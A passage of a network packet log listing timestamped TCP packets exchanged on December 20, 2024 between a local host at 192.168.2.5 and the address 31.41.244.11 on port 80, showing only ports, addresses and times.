Dec 20, 2024 13:12:26.719227076 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.719341040 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.719372988 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.719486952 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.720588923 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.720690012 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.720724106 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.720777035 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.721323967 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.721421957 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.721421957 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.721537113 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.722351074 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.722410917 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.722469091 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.722518921 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.723398924 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.723459005 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.723490000 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.723606110 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.724447012 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.724524021 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.724581957 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.724675894 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.725490093 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.725548029 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.725579023 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.725632906 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.726871014 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.726919889 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.726957083 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.727018118 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.727708101 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.727781057 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.727796078 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.727844954 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.728656054 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.728725910 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.728966951 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.729088068 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.729661942 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.729710102 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.729876041 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.729938984 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.730756998 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.730817080 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.730901003 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.730971098 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.731777906 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.731852055 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.731879950 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.731940985 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.732839108 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.732892036 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.732903004 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.732981920 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.733897924 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.733949900 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.871056080 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.871140957 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.871187925 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.871187925 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.871505022 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.871556997 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.871563911 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.871634007 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.872308016 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.872365952 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.872502089 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.872564077 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.873380899 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.873471975 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.873475075 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.873536110 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.874427080 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.874484062 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.874572992 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.874623060 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.875477076 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.875561953 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.875566006 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.875659943 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.876517057 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.876581907 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.876605988 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.876682997 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.877552986 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.877619028 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.877717972 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.877861977 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.878598928 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.878669024 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.878737926 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.878820896 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.879664898 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.879745007 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.879750967 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.879821062 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.880733967 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.880795956 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.880803108 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.880867958 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.881747961 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.881804943 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.881859064 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.881927967 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.882775068 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.882839918 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.882869005 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.882941961 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.883831024 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.883896112 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.883960962 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.884013891 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.884917021 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.885019064 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.885054111 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.885155916 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.885955095 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.886033058 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.886082888 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.886164904 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.886976004 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.887037992 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.887162924 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.887227058 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.888010025 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.888089895 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.888122082 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.888197899 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.889065027 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.889132023 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.889166117 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.889350891 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.890156031 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.890235901 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.890417099 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.890466928 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.891230106 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.891285896 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.891304970 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.891350031 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.892234087 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.892293930 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.892333031 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.892390966 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.893244028 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.893317938 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.893369913 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.893476009 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.894331932 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.894413948 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.894414902 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.894468069 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.895335913 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.895395041 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.895451069 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.895508051 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.896486998 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.896537066 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.896610022 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.896647930 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.897464037 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.897516012 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.897587061 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.897659063 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.898511887 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.898571968 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.898663998 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.898729086 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.899549961 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.899610043 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.899658918 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.899717093 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.900578022 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.900631905 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.900665045 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.900728941 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.901673079 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.901735067 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.901801109 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.901865959 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.902698994 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.902796984 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.902928114 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.903059006 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.903785944 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.903870106 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.904037952 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.904109001 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.904774904 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.904906034 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.904906988 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.904959917 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.905827045 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.906035900 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.906080961 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.906080961 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.907013893 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.907082081 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.907165051 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.907218933 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.907938004 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.908005953 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.908039093 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.908128023 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.909025908 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.909077883 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.909096003 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.909137011 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.910026073 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.910087109 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.910216093 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.910275936 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.911149979 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.911210060 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.911211014 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.911267996 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.912254095 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.912318945 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.912333965 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.912374973 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.913191080 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.913309097 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.913316965 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.913424969 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.914271116 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.914359093 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.914371967 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.914448023 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.915288925 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.915355921 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.915389061 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.915445089 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.916321993 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.916373968 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.916512012 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.916562080 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.917382002 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.917486906 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.917494059 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.917587996 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.918395042 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.918461084 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.918521881 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.918590069 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.919586897 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.919651031 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.919653893 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.919830084 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.920533895 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.920589924 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.920659065 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.920820951 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.921665907 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.921756029 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.921875954 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.921924114 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.922672033 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.922781944 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.922813892 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.922836065 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.923707962 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.923782110 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.923793077 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.923835039 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.924722910 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.924791098 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.924874067 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.924922943 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.925796986 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.925851107 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.063427925 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.063507080 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.063548088 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.063606024 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.063774109 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.063832045 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.063937902 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.064043999 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.065038919 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.065104008 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.065201044 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.065244913 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.066011906 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.066073895 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.066131115 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.066178083 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.066946983 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.067023039 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.067050934 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.067159891 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.068006039 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.068095922 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.068181038 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.068265915 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.069422960 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.069478035 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.069561958 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.069665909 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.070250988 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.070332050 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.070360899 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.070451975 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.071281910 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.071343899 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.071372986 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.071461916 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.072375059 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.072439909 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.072464943 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.072599888 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.073234081 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.073302984 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.073321104 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.073376894 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.074276924 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.074357986 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.074482918 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.074553967 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.075455904 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.075539112 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.075545073 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.075723886 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.076442003 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.076587915 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.076643944 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.076643944 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.077424049 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.077505112 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.077579975 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.077668905 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.078531981 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.078634024 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.078670979 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.078794003 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.079555035 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.079617023 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:27.079700947 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:27.079865932 CET	49859	80	192.168.2.5	31.41.244.11
